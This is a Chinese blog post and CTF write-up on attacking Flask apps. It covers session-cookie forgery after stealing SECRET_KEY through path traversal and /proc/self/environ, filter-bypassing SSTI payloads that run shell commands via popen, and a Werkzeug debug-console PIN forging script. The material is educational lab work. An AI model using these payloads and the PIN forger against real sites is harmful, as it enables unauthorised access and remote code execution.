session,PIN码伪造学习(py flask)

session伪造

相关知识

脚本使用

Flask 中的 session 是存储在客户端 cookie 中的,为 了防止存储在 cookie 中的 session 信息泄露,Flask 提供了对 session 的加密。如果 Flask 配置了 SECRET_KEY 属性,那么 Flask 会自动使用该密钥对 session 信息进行加密

第一次向服务器发送请求时,服务器会Set-cookie,值即为加密的session数据,后面的请求都会带上这个,我们可以利用脚本,模拟flask的加密过程,来加密我们自己构造的数据,就会造成安全问题

脚本地址如下:

https://github.com/noraj/flask-session-cookie-manager

该工具在py2和py3下好像有不同的用法,py3用法如下

加密:

 python flask_session_cookie_manager3.py encode -s "123456" -t "{'name':'xiaoming'}"

encode 表示加密 -s 就是secret_key -t 是准备要加密的内容

在这里插入图片描述

解密(跟加密差不多):-c 后跟要解密的内容

python flask_session_cookie_manager3.py decode -s "123456" -c "eyJuYW1lIjoieGlhb21pbmcifQ.Zem-WQ.E4Ef53k1RSMlMyAYU_0k0X3Dyo4"

在这里插入图片描述

加密解密这两个操作都需要secret_key,所以session伪造题目的关键就在于找到secret_key

寻找key

1.源码,config.py或其他地方泄露(信息泄露)

2.linux环境下,有虚拟文件系统存放了一些虚拟文件,位于/proc/中,存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看,有一些文件可能不具备可读性

proc这个目录下还有很多其他目录,名字为进程的pid,存放了各个进程所需的一些文件和环境变量,但我们一般也不知道网站进程的pid,但我们可以使用/proc/self,这个表示当前进程的目录,这下面有许多虚拟文件可以利用

cmdline

cmdline存放的是这个进程的启动命令,查看:

cat /proc/self/cmdline

通常可以查看这个文件,来知道网站应用的所在路径或文件名

在这里插入图片描述

cwd

cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录,

ls -l /proc/self/cwd

在这里插入图片描述

exe

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径

ls -al /proc/self/exe

在这里插入图片描述

environ

environ 文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开。变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息,secret_key可能在这里可以找到

cat /proc/self/environ

在这里插入图片描述

fd

fd 是一个目录,里面包含着当前进程打开过的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接,指向实际文件的真实路径。所以我们可以通过fd目录里的文件获得指定进程打开的每个文件的路径以及文件内容。

ls -al /proc/self/fd

!在这里插入图片描述

实验学习

以一道例题,来学习session伪造

在这里插入图片描述

可以看到,购买flag需要1337美金,但是我们账户里只有1336美金,在前端没有发现能修改money的地方,用bp拦截一下数据包,看看哪里可以修改金额,

在这里插入图片描述

这item参数明显是商品序号,所以金额数据存储在加密的session中,所以现在就要找到secret_key,解密这个session,看看session的结构如何,在首页中看到

在这里插入图片描述

提示可以下载图片,点击下载,bp拦截,看看下载的路径

在这里插入图片描述

1.jpg换成…/…/…/etc/passwd,看看能不能目录穿越

在这里插入图片描述

穿越成功,读取/proc/self/cmdline,看看py文件的目录

在这里插入图片描述

尝试读取源码,发现失败,过滤了py字符

尝试读取环境变量,cat /proc/self/environ,看看有没有secret_key

在这里插入图片描述

发现了secret_key,解密之前拿到的session

python flask_session_cookie_manager3.py decode -s "goodgoodstudydaydayup" -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Zer8qQ.uRLlI7cIjp9PdN_aOj_m4Uia5CY"

在这里插入图片描述

很明显,balance就是我们的金额,改为9999

python flask_session_cookie_manager3.py encode -s "goodgoodstudydaydayup" -t "{'balance': 9999, 'purchases': []}"

再次购买,把我们自己的session复制过去

在这里插入图片描述

实验成功

题目实战

NewStarCTF 2023 InjectMe

题目给了很多图片可以用来下载,看到110.jpg时,就是下面这个泄露了download路由源码的图片

在这里插入图片描述

把…/替换为空防止目录穿越,可以双写绕过,题目也给了dockerfile,

FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080

可以猜到,运行的py应用文件应该在/app/app.py,尝试读取

读取成功,源码为:

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

可以看到有ssti注入漏洞,但注入前要绕过session验证,所以要利用脚本来伪造session,读取config.py,发现secret_key如下:

secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

ssti注入,可以利用{%%}绕过过滤{{,再用format过滤器绕过关键字过滤即可 ,ls / payload生成session的命令如下:

注意转义' ",我在加密这里卡了好一会,老是报不合规范的错误,还是太菜了

python flask_session_cookie_manager3.py encode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -t "{'user':'{% print(lipsum[\'%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,103,108,111,98,97,108,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,98,117,105,108,116,105,110,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c\'|format(95,95,105,109,112,111,114,116,95,95)](\'%c%c\'|format(111,115))[\'%c%c%c%c%c\'|format(112,111,112,101,110)](\'%c%c%c%c\'|format(108,115,32,47))[\'%c%c%c%c\'|format(114,101,97,100)]())%}'}"

在这里插入图片描述

找到flag,直接查看

命令:

python flask_session_cookie_manager3.py encode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -t "{'user':'{% print(lipsum[\'%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,103,108,111,98,97,108,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,98,117,105,108,116,105,110,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c\'|format(95,95,105,109,112,111,114,116,95,95)](\'%c%c\'|format(111,115))[\'%c%c%c%c%c\'|format(112,111,112,101,110)](\'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\'|format(99,97,116,32,47,121,48,85,51,95,102,49,52,103,95,49,115,95,104,51,114,101))[\'%c%c%c%c\'|format(114,101,97,100)]())%}'}"

在这里插入图片描述

成功!

PIN码伪造

相关知识

py的flask应用,开启debug模式后,在原来的url后跟/console,可以进入python的shell,但进入这个shell需要密码,就是PIN码

在这里插入图片描述

这个PIN码在启动应用时就会给出,输入后,进入py shell,但是不能用system执行命令,估计也是有沙箱限制,跟ssti一样用popen来执行命令

在这里插入图片描述

跟session一样,这个我们也是通过脚本伪造,脚本如下

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb'  # 1.username 
    'flask.app',  # 2.modname
    'Flask',  # 3. appname getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # 4.getattr(mod, '__file__', None),
]

private_bits = [
    '130771165565282',  # 5.str(uuid.getnode()),  /sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'  #6. machine-id get_machine_id(), /etc/machine-id
]
# py<=3.7是md5,3.8以后是sha1
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

**关键参数是就是,probably_public_bits和private_bits的总共6个参数,按注释中的顺序来解析

参数如何获取
1.username读取/etc/passwd
2.modname默认为flask.app
3.appname默认为Flask
4.flask的app.py路径debug报错信息中获得

5.py<=3.7,为机器mac地址的十进制,读取/sys/class/net/ens33(网卡)/address获得,否则要import uuid,执行uuid.getnode(),配合ssti或其他py rce

6.machine-id, 非docker环境下读取/etc/machine-id即可,docker环境读取/proc/self/cgroup,读取/docker后面的字符串

可以知道,上面的参数存放在不同的位置,所以要配合任意文件读取来进行

还有加密方法,3.8以前是md5,3.8及以后是sha1

实验学习

起一个py3.7的docker,和一个我自己的py3.8虚拟机来学习

docker就是buuctf上的flaskapp题目

Py3.8虚拟机

使用之前的ssti环境,

1.获取启动应用的系统用户, cat /etc/passwd —> daydayup

在这里插入图片描述

一般来说,找普通用户就可以,有时可能是root用户

2.modname,appname,使用默认值

3.查看app.py路径,输入不合法数据,查看报错信息—> /usr/local/lib/python3.8/dist-packages/flask/app.py

在这里插入图片描述

4.获取uuid,3.8环境,要执行uuid.getnode()—> 166720968994102

在这里插入图片描述

5.获取machine-id,查看/etc/machine-id —>23856b906b0544d89c4f5b3ae2acb24a

在这里插入图片描述

要素已全,脚本生成

在这里插入图片描述

尝试使用这个PIN码进入控制台

在这里插入图片描述

进入成功!

py3.6docker

起一个flaskapp的docker

在这里插入图片描述

在提示页面的源码中,提示PIN,所以可以尝试伪造PIN,这题也可以直接ssti读取flag

在base64解码中有ssti漏洞,经测试16进制编码可绕过waf,看看源码

from flask import Flask, render_template_string, request, flash, redirect, url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField('BASE64加密', validators=[DataRequired()])
    submit = SubmitField('提交')

class NameForm1(FlaskForm):
    text = StringField('BASE64解密', validators=[DataRequired()])
    submit = SubmitField('提交')

def waf(str):
    black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", 
                  "subprocess", "commands", "socket", "hex", "base64", "*", "?"]
    for x in black_list:
        if x in str.lower():
            return 1

@app.route('/hint', methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html", txt=txt)

@app.route('/', methods=['POST', 'GET'])
def encode():
    if request.values.get('text'):
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果: {0}".format(str(text_decode.decode()))
        res = render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))
    else:
        text = ""
        form = NameForm(text)
        return render_template("index.html", form=form, method="加密", img="flask.png")

@app.route('/decode', methods=['POST', 'GET'])
def decode():
    if request.values.get('text'):
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果:{0}".format(text_decode.decode())
        if waf(tmp):
            flash("no no no !!")
            return redirect(url_for('decode'))
        res = render_template_string(tmp)
        flash(res)
        return redirect(url_for('decode'))
    else:
        text = ""
        form = NameForm1(text)
        return render_template("index.html", form=form, method="解密", img="flask1.png")

@app.route('/<name>', methods=['GET'])
def not_found(name):
    return render_template("404.html", name=name)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

还是禁了很多关键字的,format过滤器也可以绕过,其实都可以拼接绕过

1.查看/etc/passwd,看看普通用户,得到为 flaskweb

在这里插入图片描述

2.modname,appname,用默认值

3.解码输入abc,在报错信息中查看app.py路径,得到为: /usr/local/lib/python3.7/site-packages/flask/app.py

在这里插入图片描述

4.同时也得知,py版本是3.7,所以uuid就是机器的MAC地址,查看/sys/class/net/eth0/address,得到02:42:ac:12:00:02,转为10进制,

得到2485377957890

在这里插入图片描述

5.获取machine-id,由于是docker环境,查看/proc/self/cgroup定位输出内容中/docker后面的字符串,得到9648539a78c54c92ebd6a9f92a4869b9859ba1282aa8225b4fc28556524bb672

在这里插入图片描述

要素已全,尝试生成PIN

在这里插入图片描述

尝试进入console,

在这里插入图片描述

进入成功,执行命令

在这里插入图片描述

成功

  • 28
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值